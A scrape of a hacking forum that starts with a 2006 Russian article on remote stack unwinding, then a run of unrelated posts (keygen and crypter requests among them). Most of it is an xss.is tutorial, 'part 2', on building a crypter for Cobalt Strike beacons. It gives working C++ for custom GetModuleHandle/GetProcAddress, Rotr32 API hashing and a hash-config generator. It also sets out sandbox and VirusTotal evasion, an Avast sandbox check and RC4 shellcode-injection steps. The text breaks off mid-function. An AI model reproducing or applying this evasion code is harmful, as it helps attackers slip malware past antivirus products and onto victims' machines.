return MessageBox(0, "Cannot get thread context", "Stack unwind", MB_ICONSTOP)?0:0;
}
DWORD stackptr = ctx.Esp; // снимаем стек по адресу в ESP того потока
char stack[10240];
DWORD* lpdwStack = (DWORD*)stack; // делаем указатель на массив DWORD'ов для удобного анализа адресов
DWORD read=0;
if(!ReadProcessMemory(hProcess, (LPVOID)stackptr, stack, nSize*4, &read)) // снимаем дапм стека
{
ResumeThread(hThread);
return MessageBox(0, "Cannot read process memory", "Stack unwind", MB_ICONSTOP)?0:0;
}
ResumeThread(hThread); // не забываем возобновить поток :)
Далее производим точно такие же действия, что и для текущего процесса:
Code:Copy to clipboard
char buffer[10240] = "";
wsprintf(buffer+lstrlen(buffer),"Unwinding stack at address 0x%08x\n", stackptr);
char buf[1024];
for(DWORD i=0;i<nSize;i++)
{
GetModuleAndFunctionNameByAddress(hProcess, lpdwStack[i], buf, 1024);
if(!strncmp(buf, "unknown", 7) && bSkipUnknownModules)
continue;
wsprintf(buffer+lstrlen(buffer), "0x%08x %s\n", lpdwStack[i], buf);
}
MessageBox(0, buffer, "Stack unwind information", MB_ICONINFORMATION);
// не забываем закрыть дескрипторы потока и процесса
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
Для нахождения процесса по имени его образа не помешала бы функция, выполняющая эту операцию:
Code:Copy to clipboard
/* GetPIDbyName()
*
* Описание
* Получает идентификатор процесса по его имени
*
* Параметры
* szProcessName имя процесса
*
* Возвращаемое значение
* PID процесса
*/
DWORD GetPIDbyName(LPTSTR szProcessName)
{
HANDLE hSnapshot;
PROCESSENTRY32 pe = {sizeof(pe)};
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;
if (!Process32First(hSnapshot, &pe))
return 0;
do
if(!lstrcmpi(pe.szExeFile,szProcessName))
return pe.th32ProcessID;
while (Process32Next(hSnapshot, &pe));
return 0;
}
Теперь все готово для анализа стека потока другого процесса.
Code:Copy to clipboard
// Создаем снимок всех потоков системы
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if(hSnapShot == INVALID_HANDLE_VALUE)
return MessageBox(0, "CreateToolhelp32Snapshot() failed", "Thread snapshot", MB_ICONERROR)?0:0;
THREADENTRY32 te = {sizeof(te)};
if(!Thread32First(hSnapShot, &te))
return AlternateMessageBox("No threads", "Thread snapshot")?0:0;
DWORD pid=GetPIDbyName("explorer.exe");
// Крутим список всех потоков
do
{
// Раскручиваем стек первому попавшемуся потоку нашего процесса
if(te.th32OwnerProcessID == pid)
{
StackRemoteUnwind(te.th32OwnerProcessID, te.th32ThreadID, 200, TRUE);
break;
}
}
while(Thread32Next(hSnapShot, &te));
Приведенный код находит первый поток процесса explorer.exe и анализирует его
стек.
Вообще то, на этом стоит и закончить и без того затянувшееся повествование об
устройстве потоков
Замечу только, что в сорце к статье вместо MessageBox для вывода информации
используется самописная функция AlternateMessageBox, которая выводит
диалоговое окно с текстовым полем для удобства копирования текста из него.
Выход производится по нажатию любой клавиши. Код этой функции, если сильно
повезет, ты найдешь в сорсе к статье, и я думаю, что знакомые с
программированием окон на Win32 API, без труда его разберут.
На сим откланяюсь, удачного компилирования
(С) Great, 2006.
Source: stackunwind.cpp
Интересны перспективные методы криптовки и полиморфизма в самом коде, а не в сторонних криптовщиках. Кто что может сказать ? А то я в этом вообще ничего не понял. Может кто подкинет статуйку подходящую.
Может кто нить видел, где скачать компилятор, и кейген к нему? интересует именно 6 версия. ибо 4 видел на мелкософте.
#include <stdio.h>
int x;
int main( void )
{
printf("n\Enter your age: ");
scanf("%d" ,&x);
if (x > 21 && x < 65)
printf("\nblabla1");
if (x < 21)
printf("\nblabla2");
return 0;
вот решил прогу наделать небольшую, поидеи если выполняется первое условие она должна выводить на екран blabla1, если воторое то blabla2, а она вместо етого просто вылетает. мож кто что подскажет?
Подскажите сайт с иходниками для IDE из сабжа.
Пацаны, может я щас выгляжу полным ламером, но хотел бы у вас спросить совета, какой учебник можно взять для изучения С+ Щас стока всякого гавна в сети, я новичек в этом деле, и думаю сам нормальный материал не найду. Вот решил спросить совета у опытного народа. Мож кто линк даст на достойный учебник?
Народ какую кнгу лутше начать читать чтобы освоить С++?Если я в программировании кроме хтмл полный ноль.
Люди у кого есть литература по С (выложите).
Мне нужно создать базу данных с использованием SQL апросов. Я создал форму в C++Builder, кинул на нее TDBGrid, TTable, Tquery, TDataSource1. Создал в Access таблицу. Все вместе связал. Теперь при нажатии кнопки надо производить отбор по какому нибудь параметру из таблицы. Параметр задаем например в TEdit1.Если кто знает подскажите как все это реализовать.
Люди нужна программа на С++, которая будет висеть в трее и перееадрисовывать все с одного порта на другой. Помогите реализовать. Подскажите, где можно найти мануалы
Народ помогите найти книгу по C++ в которая написанна для тех кто незнает язика вообше,и в которой написанно что такое класси,что такое библиотеки,как их создавать и зачем.
Короче, что нужно написать чтобы введёный логин и пароль сохранились в txt. файл? :blink:
Привет форумчане!
Вижу что по Сишке есть просто куча классных книг, но я понял что мне больше
подходит формат курса
Существуют ли в природе нормальные бесплатные вводные курсы по Сишке типа как
"Поколение Python" на степике? Или может есть слив какого-то хорошего
Всем спасибо
Привествую форум, решил попрактиковаться и написать криптер, да только вот
нашел мало инфы публично про то как они работают, почитал пару статеек но
только скорее всего там про современные подходы никогда не напишут.
Поэтому спрашиваю тут, если есть возможность посоветуете где прочитать,
поизучать, или где лучше код почитать (учу C, в гитхабе искал но там не
понятно что лучше), да и в целом какие навыки нужны (к примеру реверсинг ASM и
тд) перед началом.
Буду рад если расскажите подробно сразу тут, заранее спасибо.
Сабж, если у кого то есть принял бы в дар. Чисто в научных целях...
Какой язык посоветуйте изучать? Хочу начать программировать, для начала хочу научиться создавать телеграмм ботов, но я даже не знаю подходящий язык для этого. Что можете посоветовать?
Нет фундамета, не знаком с программированием от слова совсем. Знаю что оч
поздно начал, но лучше уж так)
Заранее спасибо!
(И вообще, стоит ли начинать именно с C++?)
Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad's most popular AV, EDR products!
The Killer Guide by****TOP G.
Source: https://xss.is
This is part 2 You can check part one here: https://xss.is/threads/97133/#post-673933
Hi, this is TOP G from the xss forum and today will continue our Tutorial.
In the part 1 we created the GUI and Client - Server authentication, and in this part will start coding the Stub.
Before we start please make sure you already have Cobalt strike ready in this tutorial iam using Cobalt strike v4.8 You can use any version or you can use Metasploit.
After this tutorial , I guarantee you will bypass Kaspersky, Windows Defender, Avira, Avast, Bitdefender, AVG, and more.
I will teach you step by step! how to crypt your stub and get it **FUD Runtime And Scantime
I WILL LEAVE POC’S VIDEOS FOR YOU TO SEE THE BYPASS, I CREATED A VIDEO BYPASSING ON TOP ASKED TO BYPASS AV LIKE WINDOWS DEFENDER AND Kaspersky.
**
1 - Just c/c++ Language (Visual Studio c++)
2 - Gui (Qt C++) If you don’t have any idea or skills to use Qt don’t worry I
explained everything in the tutorial
3 - php but if you are familiar with Python or NodeJs you could also use them
if you want
**# Techniques we will use To bypass AVs and which Encryption algorithm?
Here are the futures we will use in our Crypt
1 ) - Runtime Crypting
2 ) - Runtime string obfuscation
3 ) - Anti Virus Total and Anti app.any.run
4 ) - Bypass Avast and AVG Sandbox ( this is a very important and private
method )
5 ) - Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
6 ) - Creating Custom GetModuleHandle and GetProcAddress
7 ) - API Hashing
8 ) - RC4 Encryption Algorithm
you understand the code and the techniques**
Before we write anything about crypting and writing a crypter a few Information you need to know before.
You can’t Bypass AV or EDR if you don’t know how they work, and how they can
detect
Your malware, Because of that I will tell you about detection Mechanisms
But first, you should know all Modern AV and EDR they can catch poorly written
unknown malware and will talk more about this and how to bypass it in the
correct section.
I saw a lot of questions on this forum for beginner developers asking how the
Antivirus detects the program as a virus even if the code does not have any
virus in it.
To answer this question and to bypass or fix this problem stay with me:
# AV, EDR Engines detection Mechanisms ( This section is very important to every malware developer ).
AV uses different ways and techniques to Detect Malicious software, I will list them and describe them.
1 ) Static Detection
This method can detect malware in different ways First method uses a Bytes
Signature.
The second method is the names of the variables and Functions.
To understand what I mean in real life Generate a Cobalt strike beacon and open it using Hxd ( Hex Editor ) You can easily see the bytes 62 65 61 6F 6E 2E 78 36 34 2E 64 6C 6C and if you can see in the right section there is a string beacon.x64.dll
As you can see these bytes define your program as a Cobalt strike beacon and Antivirus can use this information to detect your program
2 ) Hashing Detection
This method is old but still working these days and it's very useful and very
fast to detect Such as Known malwares or public malware.
This can be done by Antivirus by creating a hash for every malware and saving
it in a Large database Then when a new exe is installed or dropped to the desk
the AV creates a hash for it and compares it with hashes that are already
saved in the database and if the hash found in the database they delete the
malware instantly also this work with memory for example when you decrypt the
malware and use WriteProcessMemory the Antivirus can catch it here with
different ways I will tell you more about this in detection mechanisms number
5
I will give you an example :
Get any program you want or even a cobaltstirke beacon then fire up your
Powershell
Use the function Get-FileHash to get the hash for the file as shown in the
image below
This is the hash for my beacon
1F22CDD66B8D96070C299B0D661D0D8812223438EA9A92EBB8D5E52CE64060C0
So if I turn my AV on, the antivirus will instantly delete the file because the hash is already in the database of the AV vendor Why because Cobalt strike is a Known malware as you already know
3 ) Behavior-Based Detection
Behavior shield is the monster that eats any badly written unknown malware .
I will give you an example to understand what I mean .
Imagine you are developing your own malware Your malware works as follows when
you click on the malware instantly downloads the encrypted beacon from the
server and then decrypts it in memory After that it copies itself to a
temporary directory %temp% and manipulates the registry to add itself to run
with windows startup
The example above is for badly written malware and will be detected as soon as you click the program
The mistakes made in the example above :
1 - Invoking http requests after the program fired up without sleeping
2 - decrypting payload and copying it using WINAPI Function WriteProcessMemory
or memcpy after decrypting so AV Vendor can install hooks on userland mode and
when you use WriteProcessMemory he can use Hashing method or static detection
method and compare it with his database and kill it in memory even not touched
the desk
3 - copy self to temp directory this step is very used by malwares and it's
very detected
4 - Manipulating the registry directly is not a good thing
So all of these steps described above will flag your program as malware even if it's not malware, But if decreasing by removing steps 3 and 4 it may work for some AV vendors because of Rate of red flags is decreased
I can’t forget to mention importing all these WINAPI in the same exe is also a big RED FLAG Just imagine a program that has WriteProcessMemory, RegCreateKeyEx, CopyFileA, URLDownloadToFile
And on that, the exe is not signed These mistakes are enough to make your Unknown malware to be detected before publishing it to the public
4 ) Dynamic Analysis
The dynamic analysis is very similar to the behavior shield method but in Dynamic analysis, the AV Vendor but the malware in a sandbox and runs it as a normal human clicks it then watches the actions of the malware and what behavior he will take
An example :
If exe runs and allocates memory this ok if this action can be alone but added
to more actions like decrypting a shellcode and editing the registry then
copying bytes in memory
This will also flag the exe as malware
So here it depends on what behavior your malware does to detect your Unkown malware
You can see that in real life create a program add suspicious functions and actions to your program compile it then go to https://app.any.run/ and upload your malware and watch the sandbox analysis and Mark your Unknown malware as Virus
5 ) WINPAI Or NTAPI Hooking
Some AV vendors and EDRs they using a very common technique called Hooking,
Simply hook is like a man in the middle attack someone is watching everything
in your network same thing in winapi Hooking
The AV vendor installs hooks on some functions that are usually used by
malware developer
The hook is a jump from the Real function like Writeprocessmemory to the AV
function to scan the arguments and check if the copied data are malware or not
I will show you how to bypass this with different techniques 1 of the most popular techniques is to unhook the Hooked functions but in this tutorial, I will use different techniques when we are in the Futures section
6 ) Import address table
If you don’t know what is import address table is, simply a table that contains every single function you import in your project
If a project uses functions, for example, ReadProcessMemory Or any other function this function will be registered in the IAT or import address table
If a program contains too many flagged WINAPI OR NTAPI Functions then 100% its a malware The AV will instantly kill the process and delete the program from the desk.
To see the Import address table in real life and which functions are imported we can use dumpbin.exe If you have already installed Visual Studio
First, fire up the Developer command prompt and then go to the working
directory where you have the program you want to test on the type dumpbin.exe
/IMPORT exe_name.exe
This will display all import address tables and the dlls that function are
imported from like you see in the picture below
As you can see the function VirtualAlloc , GetProcAddress , and
GetModuleHandleW
Are imported from kernel32.dll
This is enough to flag our exe as malware
We can avoid this by Dynamicly importing the functions we need to use in our project This step help but still, GetModuleHandle and GetProcAddress functions will be stored in the Import address table and this is also a red flag to avoid this we can create a custom GetModuleHandle and GetProcAddress functions And I will tell you more information when we get to this step
# Explaining the futures
1 # Runtime Crypting
Do you know what runtime encrypting is?
If you code in c# I guess you already know about runtime Compile that offers us the .NET because it's managed languages! This trick was used by c# and vb.net malware developers to compile their encrypted stubs at runtime, but as you know Native languages such as c++ or C can’t do that because the compiler translates our code into machine code and we can’t embed or edit the code after it gets compiled Like.net languages because of that and to do not leaked the source code of our crypter if we include it in our GUI we use the Server Side to store the Source code and the GUI will be Like a proxy that handle files and encryption between server and pc of user and on Server side we use php or any other scripting languages to do obfuscation and encryption
So, Runtime crypting is a method that allows us to store the encrypted payload and merge it with the stub that will Decrypt the payload and invoke it This method is very useful in bypassing AVs and EDRs because the runtime encrypting also allows us to obfuscate strings at runtime and change passwords for the encrypted payloads so we don’t use Static phrase or password for all stubs also we change compiling settings on the fly.
What makes Runtime encrypting superior to embedding encrypted malware in resources or the PE section, or even storing the encrypted payload on the server?
Embedding the encrypted payload to Resources or storing it in a pe section is
a very common method that was an old solution for Crypters Sellers in past
years
It is also very easy for malware analysis or blue team to detect your payload
Do all the crypters available in the market use this method?
No, not all of them. Only handmade crypters use this method because each stub
is written for one customer. Additionally, this depends on the quality of the
seller. However, there's no need to worry because, after this tutorial, you
won't need to buy any crypters anymore. You can code your own instead.
2 # Runtime string obfuscation
Runtime obfuscation is a technique that allows us to obfuscate our malware Variables and function names On the Fly before Compiling the stub and this technique is very very important because this can change the complete signature of the stub
Why use this technique?
You had to know that only encrypting the shellcode itself and using the pre- compiled stub to embed the shellcode to it is not enough because if the malware gets detected by some Security researchers or by Antivirus vendors they will start doing reverse engineering on your malware to extract a signature of your variables and functions names this gives him ability if you encrypt a new shellcode even with different Pharse or password and change the signature to the encrypted shellcode! They can catch you but this time will catch your Crypt itself so Now we call this crypt Public and Known malware.
One more thing is that some security vendors share hashes and signatures with other companies to combine their technologies.
Sometimes you run your malware for example on Windows Defender and he Did not catch it! but after you run it on a different pc for example AVG antivirus and detect wait for a few minutes and run it again on Windows Defender you will see that Windows Defender starts detecting it as malware
3 # Anti Virus Total and Anti app.any.run
In this technique will use my Private method to detect and bypass the
VirusTotal sandbox and app.any.run.
How does this technique work? First Virus Total uses different companies' VPS
to run their sandboxes to check malware We can add a Winsock code inside our
stub that only makes a post request to our Server then from a php code we can
get the IP address and the ASN of the IP address and check it in our database
if the ASN that belong to companies like Google, Amazon then we block the
request by replying to the stub with 1 mean error then the stub will return
-1;
Or Exist_Success to end the process and in this way, Virus Total can’t get the
real behavior of our crypt
4 # Bypass Avast and AVG Sandbox ( this is a very important and private method )
Avast is one of the Antivirus vendors that build their custom sandbox to
prevent any suspicious software from running on the main System before testing
the behavior of the suspicious software on their custom sandbox
As you can see in the image above when I click on my program for the first time, Avast pauses my program and runs it on its sandbox, This sandbox is not like any other sandbox as I said before Avast developed its own sandbox And Using the Public methods to bypass this type of sandbox is not a Goal in the net.
Because of that months ago I was digging in and testing my codes to bypass the
Avast sandbox I discovered that Avast sandbox cannot connect or use the wmic
namespace so if we exploit this bug we can detect the Avast sandbox.
In real life, If we tried to use the COM library and use the function
CoCreateInstance then try to connect to the root namespace ROOT\\CIMV2
using the function IWbemLocator::ConnectServer in a normal situation even if
we ran the software on VirtualBox or VMware or Windows server the return value
should be S_OK but because of this bug in Avast sandbox it will fail to
connect That’s where we detect the Avast sandbox and Escape from it
Cool you may not understand but when we came to the coding section you should understand more
5 # Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
Bypassing VMware and VirtualBox is an important future in any malware because
all malware analysis when making checks for some programs always will use a
VirtualBox or VMware and not add any
This is a good technique to stop blue teams or malware analysis teams and
sandbox also
6 # Creating Custom GetModuleHandle and GetProcAddress
Creating our custom GetModuleHandle and GetProcAddress is a very important thing in malware development cause as I said before in the detection mechanisms import address table section the Antivirus can check for the imported function and if there are any couple of suspicious functions,
More suspicious functions have a red flag rate, and because of this need to hide our IAT
Let's get this example to show you how this work
Fire up your visual studio and create a new empty c++
Create a new c++ file
Go to project properties -> linker -> advanced
Then I added an entry point, I added one and named it xss
Go to project properties -> C/C++ -> Security checks
disable security checks
Go to project properties -> linker -> System
Then change the subsystem to Windows
Now go to
Finally, add this code to the project and compile it
C:Copy to clipboard
int xss()
{
return 0;
}
Open the developer command prompt and go to the project path
Type this: dumpbin.exe /IMPORTS test.exe
As you can see there is no Import address table available because we did not use any function yet,
Now add this function to the project and recompile the project
C:Copy to clipboard
GetModuleHandleA(NULL);
Again same command: dumpbin.exe /IMPORTS test.exe
Here as you can see when we added the GetModuleHandle function and recompiled the project the GetModuleHandle shows in the Import address table
I think you get the idea.
Before we write the code for the GetModuleHandle you should Know How does the GetModuleHandle Work?
The function GetModuleHandle is responsible for retrieving a handle for a Dll that is specified by you.
When you call the function and the dll name and find it returns handle to the Dll and return NULL if the function name is wrong or not found
How to get the dll handle?
The handle is the base address of our dll and to retrieve it first we need to
retrieve the
PEB then gets a pointer to the LDR member from PEB and finally gets the first
element of the linked list
PEB is a structure and has members but what we are looking for is the
PEB_LDR_DATA Ldr
Source: <https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-
winternl-peb> ,
<https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-
peb_ldr_data>
PEB_LDR_DATA is the member that stores all loaded modules in the process
PEB_LDR_DATA is also a structure that contains other members
The important struct for Us is the LIST_ENTRY InMemoryOrderModuleList struct
So to retrieve the loaded Dll will need to create a while loop to enumerate
all Loaded dlls names
Once we find it using a comparing method for example using strcmp we return
the Address of the function we are looking For.
You can see the Microsoft documentation from like above if you wanna read more about it.
So now we need to loop on InMemoryOrderModuleList and create the strcmp to find Our function
Good now we finished talking about GetModulehandle Don’t Worry I will explain the code as soon as we are in the coding section
How Does GetProcAddress Work !?
GetProcAddress retrieves the address of the exported function from the module we load it and retrieve the handle, If the function is found it returns the base address of the function we want to import, and if not found it will return NULL If a function is not found
To know exactly how GetProcAddress works you need to know how that GetProcAddress finds the address of the functions
GetProcAddress uses the hModule that we specify and as you already know the hModule is the base Address of the dll, then we loop through the exported functions inside the target dll after that we can do a normal if condition to check if we found the string or the name of the target function and when we found the target function we return its base address other than that we return NULL.
We access the exported functions we first need to get a pointer to the export table and then loop on the function names until we find our function
But this is not all of it because when we finish this function will add more improvements to it like Hashing and that what we call it API Hashing will discuss this in the future but now
7 # API Hashing
What is api hashing and why use it if we already created our custom Custom Functions to load and retrieve winapi functions address?
Api hashing is a technique that replaces the strings with hashes to hide the string and function names and make it harder for malware analysis and blue teams to detect the Suspicious Functions Also this will leave no trace for the function names for example as in the example above we used CustomGetProcAddress(), CustomGetModuleHandle() and passed the module we want to load and the function we wanna get theirs address to use it in our code
There are a lot of api hashing algorithms but one of the best of them is Rotr32
The most used Hashing algorithm used is the Rotr32
In real life how does hashing look like for example, we need to replace the
NTAPI function NtwriteVirtualMemory or hash it using Rotr32 the result is
0xa2f3a5e9 so 0xa2f3a5e9 is the replacement of the NtwriteVirtualMemory
Merging it with the Custom Functions we created we are now able to Load the
Modules and functions stealthily
7 # RC4 encryption
Why use RC4 encryption there are too many encryption algorithms such as AES.
We use the RC4 encryption for a specific reason
The RC4 encryption algorithm has a future that can encrypt and decrypt payload in 1 function without needing to use 2 functions, AES uses 2 functions one for Encrypt and 1 for Decrypt
In Our situation, we are encrypting cobalt strike, and the steps to invoke it are as follows
In this example if we were using an encryption algorithm like AES
1 - Get process id
2 - Open the process and get a handle on the target process
3 - Decrypt shellcode
4 - Allocate memory
5 - Write shellcode
6 - invoke shellcode
I used the Lucid Char app to draw the process below) to make more easier for
you to understand it.
As you can see in the example above we wrote the shellcode after the decryption this makes us Vulnerable and the Antivirus can catch our payload while writing it to the process
So to fix this problem we used RC4 and the steps when using RC4 encryption algorithms like follows
1 - Get process id
2 - Open the process and get a handle on the target process
4 - Allocate memory
5 - Write Encrypted shellcode
3 - Decrypt shellcode in the allocated memory
6 - invoke shellcode
In this example above we avoid being detected while writing the shellcode, So
gives us the advantages
# Coding Section
Here we go again, Fire up your Visual Studio, You can use the old project we created before or you can just create a new empty c++ project For only now create a single cpp file you can name it main.cpp
Will first start with The Custom GetModuleHandle And Custom GetProcaddress
Add this code below
C:Copy to clipboard
BOOL XssCompareString(LPCWSTR OriginalString,INT OriginalStringLength, const char* moduleName)
{
// cast from LPCWSTR to char
int OriginaLen = WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, NULL, 0, NULL, NULL);
char * cString = new char[OriginaLen + 1];
WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, cString, OriginaLen, NULL, NULL);
cString[OriginaLen] = '\0';
// lower the uppercase charchtar
char *LowercString;
LowercString = new char[OriginaLen + 1];
for (int i = 0; i < OriginaLen; i++)
{
LowercString[i] = (WCHAR)tolower(cString[i]);
}
//printf("LowercString : %s \n", LowercString);
// lower the uppercase charchtar
int moduleNameLen = strlen(moduleName);
char * LowermoduleName;
LowermoduleName = new char[moduleNameLen + 1];
for (int i = 0; i < moduleNameLen; i++)
{
LowermoduleName[i] = (WCHAR)tolower(moduleName[i]);
}
//printf("LowermoduleName : %s \n", LowermoduleName);
if (strcmp(LowercString, LowermoduleName) == 0)
{
printf("[+] Dll Found %s \n", LowercString);
return TRUE;
}
printf("[+] Dll Not Found %s \n", LowercString);
return FALSE;
}
HMODULE XssTutorialGetModuleHandle(const char* moduleName)
{
PPEB pBEB = (PEB*)(__readgsqword(0x60));
PPEB_LDR_DATA pPebLDR = (PPEB_LDR_DATA)(pBEB->Ldr);
PLDR_DATA_TABLE_ENTRY pLdrTEntry = (PLDR_DATA_TABLE_ENTRY)(pPebLDR->InMemoryOrderModuleList.Flink);
while (pLdrTEntry)
{
if (pLdrTEntry->FullDllName.Length == NULL)
break;
else
{
if(XssCompareString(pLdrTEntry->FullDllName.Buffer, pLdrTEntry->FullDllName.Length, moduleName))
{
return (HMODULE)pLdrTEntry->Reserved2[0];
}
}
pLdrTEntry = *(PLDR_DATA_TABLE_ENTRY*)(pLdrTEntry);
}
return NULL;
}
I guess you already know what this code does, The code you saw above is the
replacement of the GetModuleHandle Please back to the explanation section to
understand more don’t skip it
I named the replacement function XssTutorialGetModuleHandle
Steps :
First, we got the PEB using __readgsqword and the offset that points to PPEB
is 0x60
Then we got the LDR_Data and saved it in Variable pPebLDR then got the table entry of the LDR data and started looping on it.
As you can see inside the Loop there is an if statement to compare the two
strings
If we're equals and the functions that are used to make the checks is
CompareString
The reason to create our own function is that some modules or dlls names are
Uppercases strings and some are not so we can’t use strcmp directly Also the
CompareString converts the LPWSTR to char and then converts the char to lower
string and uses the strcmp to compare the two strings and if they are equal it
returns TRUE, if functions finish all loop without find matches it returns
false mean their error with the module name
XssTutorialGetModuleHandle uses the if statement to check the returned value by the function CompareString and if returned true it returns a handle to the Loaded DLL and then our custom GetProcAddress can use the handle to obtain the target function
Now add the code
C:Copy to clipboard
FARPROC XssTutorialGetGetProcAddress(HMODULE hModule, LPCSTR lpApiName)
{
// we do this to avoid casting at each time we use hmodule
PBYTE pImg = (PBYTE)hModule;
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)pImg;
PIMAGE_NT_HEADERS64 Nt_haders = (PIMAGE_NT_HEADERS64)(pImg + dos_header->e_lfanew);
PIMAGE_OPTIONAL_HEADER Img_OptionalHeader = (PIMAGE_OPTIONAL_HEADER)&Nt_haders->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImg + Img_OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// getting the functions name array pointer
PDWORD fNameArry = (PDWORD)(pImg + ImageExportDirectory->AddressOfNames);
// Gettings the functions address array pointer
PDWORD fAddrArray = (PDWORD)(pImg + ImageExportDirectory->AddressOfFunctions);
// Gettings the functions ordinal array pointer
PWORD fOrdinalArray = (PWORD)(pImg + ImageExportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < ImageExportDirectory->NumberOfFunctions; i++)
{
// Getting the name of the function
char* pFunctionName = (char*)(pImg + fNameArry[i]);
// Getting the address of the function through its ordinal
PVOID pFunctionAddress = (PVOID)(pImg + fAddrArray[fOrdinalArray[i]] );
// Searching for the function specified
if (strcmp(lpApiName, pFunctionName) == 0)
{
//printf("[-] found Function name : %s Function Address 0x%p\n", pFunctionName, pFunctionAddress);
return (FARPROC)(pFunctionAddress);
}
else
{
//printf("[-] not found Function name : %s Function Address 0x%p \n", pFunctionName );
}
}
return NULL;
}
This code is the replacement of the GetProcAddress and I name my custom function as XssTutorialGetGetProcAddress
The first thing we did in the code above, we cast the base Address of the
Loaded Dll by the function XssTutorialGetModuleHandle to PBYTE
I hope you have experience with manipulating PE structure cause this will help
you anyway, so next we get the dos header, nt headers, optional header, and
export directory.
We used the export directory table to get the AddressOfName,
AddressOfFunctions, AddressOfnameOrdinals
Finally, we create a loop and the limit is the number of functions here we
create a Comparison between the two strings and if the function name is found
we return the function address.
You can test the two codes below and compare them with the originals by adding this code
C:Copy to clipboard
HMODULE ntdll = GetModuleHandleA("ntdll");
HMODULE replacement_ntdll = XssTutorialGetModuleHandle("ntdll.dll");
printf("[-] Original ntdll address 0x%x\n", ntdll);
printf("[-] Replacment ntdll address 0x%x\n", replacement_ntdll);
FARPROC ofpNtWriteVirtualMemory = GetProcAddress(replacement_ntdll, "NtWriteVirtualMemory");
FARPROC fpNtWriteVirtualMemory = XssTutorialGetGetProcAddress(ntdll, "NtWriteVirtualMemory");
printf("[-] Original NtWriteVirtualMemory address 0x%x\n", ofpNtWriteVirtualMemory);
printf("[-] NtWriteVirtualMemory address 0x%x\n", fpNtWriteVirtualMemory);
Now create another c++ empty project and name it Hasher This project will be
used to hash the string function names
Add this code and this code is for the Rotr32 hashing
C:Copy to clipboard
UINT32 HashStub(UINT32 Value, UINT Count)
{
DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}
DWORD64 Rotr32A(const char* String)
{
DWORD64 Value = 0;
for (INT Index = 0; Index < strlen(String); Index++)
Value = String[Index] + HashStub(Value, SEED);
return Value;
}
In the main function add this code
C:Copy to clipboard
char StrName[MAX_PATH];
strcpy_s(StrName, "NtQuerySystemInformation");
printf("Function name : %s ", StrName);
DWORD64 Result = Rotr32A(StrName);
printf("Hash of ntdll.dll 0x%x ", Result);
In the code example above we are hashing the function NtQuerySystemInformation Now will make it more dynamic and hash the full function names and save it as .h or header file
To do that replace the old code with this one
C:Copy to clipboard
bool replace(std::string& str, const std::string& from, const std::string& to) {
size_t start_pos = str.find(from);
if (start_pos == std::string::npos)
return false;
str.replace(start_pos, from.length(), to);
return true;
}
int main()
{
std::string config = R"(#define Hashed_1 0xNtAllocateVirtualMemory //NtAllocateVirtualMemory
#define Hashed_2 0xNtWriteVirtualMemory //NtWriteVirtualMemory
#define Hashed_3 0xntdll //Ntdll
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
//Hashed_1
typedef NTSTATUS(NTAPI* fpHashed_1)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect);
//Hashed_2
typedef NTSTATUS(NTAPI* fpHashed_2)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,ULONG NumberOfBytesToWrite,PULONG NumberOfBytesWritten );
typedef void(WINAPI* vanilia)();
)";
char Hashed_1[MAX_PATH];
DWORD Result = NULL;
Result = Rotr32A("NtAllocateVirtualMemory");
sprintf(Hashed_1, "0x%x ", Result);
replace(config, "0xNtAllocateVirtualMemory", Hashed_1);
char Hashed_2[MAX_PATH];
Result = Rotr32A("NtWriteVirtualMemory");
sprintf(Hashed_2, "0x%x ", Result);
replace(config, "0xNtWriteVirtualMemory", Hashed_2);
char Hashed_3[MAX_PATH];
Result = Rotr32A("ntdll.dll");
sprintf(Hashed_3, "0x%x ", Result);
replace(config, "0xntdll", Hashed_3);
HANDLE hConfig = CreateFileA("Config.h", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(WriteFile(hConfig, config.c_str(), strlen(config.c_str()), 0, 0))
{
std::cout << "[*] Config Written success: "<< std::endl;
}
CloseHandle(hConfig);
}
Here we create a Raw String The Raw string will contain the function names to replace it when applying the hashing as you can see in the example code above
There are two functions that will be used and they are critical If detected in the IAT the exe will be suspicious so are these two functions
Functions
1 - NtAllocateVirtualMemory
2 - NtWriteVirtualMemory
Modules
1 - Ntdll.dll
That’s it, The Hasher is now ready When you run the hasher.exe you should see
a new file Config.h and this is the file that contains the hashed strings and
typedefs for the functions, and modules we need to use
Now get back to the Decrypt project.
In the Decrypt project Include the Config.h header file that we created using
the hasher.exe
Now will make the changes to the two functions that we already created
XssTutorialGetModuleHandle, XssTutorialGetGetProcAddress
In the examples above we retrieve the base address of the module and the
address of the function by first comparing the two strings the one we add and
need to load and the one that is retrieved from the IAT, but now we will
replace the string with hashes.
Add the two codes below to your project
C:Copy to clipboard
BOOL XssCompareHashes(LPCWSTR OriginalString, INT OriginalStringLength, DWORD ModuleHash)
{
// cast from LPCWSTR to char
int OriginaLen = WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, NULL, 0, NULL, NULL);
char* cString = new char[OriginaLen + 1];
WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, cString, OriginaLen, NULL, NULL);
cString[OriginaLen] = '\0';
